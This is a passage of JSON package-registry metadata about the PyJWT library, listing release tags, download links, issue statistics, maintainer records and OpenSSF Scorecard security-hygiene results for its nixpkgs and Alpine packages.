kg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.370Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/python312Packages.pyjwt?channel=24.05\u0026repository_url=https://channels.nixos.org/nixos-24.05","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python312Packages.pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python312Packages.pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python312Packages.pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python312Packages.pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python312Packages.pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python312Packages.pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python312Packages.pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python312Packages.pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python312Packages.pyjwt/codemeta","maintainers":[{"uuid":"prikhi","login":null,"name":"Pavan Rikhi","email":"pavan.rikhi@gmail.com","url":"https://github.com/prikhi","packages_count":31,"html_url":null,"role":null,"created_at":"2026-03-07T13:08:24.976Z","updated_at":"2026-03-07T13:08:24.976Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/maintainers/prikhi/packages"}],"registry":{"name":"nixpkgs-24.05","url":"https://channels.nixos.org/nixos-24.05","ecosystem":"nixpkgs","default":false,"packages_count":116156,"maintainers_count":3383,"namespaces_count":0,"keywords_count":654,"github":"NixOS","metadata":{"funded_packages_count":264},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.309Z","updated_at":"2026-06-09T05:04:49.559Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/namespaces"}},{"id":6162546,"name":"py3-jwt","ecosystem":"alpine","description":"Python3 JSON Web Token implementation","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2021-04-05T18:18:29.000Z","latest_release_published_at":"2021-04-05T18:18:29.000Z","latest_release_number":"1.7.1-r4","last_synced_at":"2026-04-15T02:02:33.770Z","created_at":"2023-01-31T23:50:03.603Z","updated_at":"2026-05-29T04:00:39.483Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.15/community/x86_64/py3-jwt","install_command":"apk add py3-jwt","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1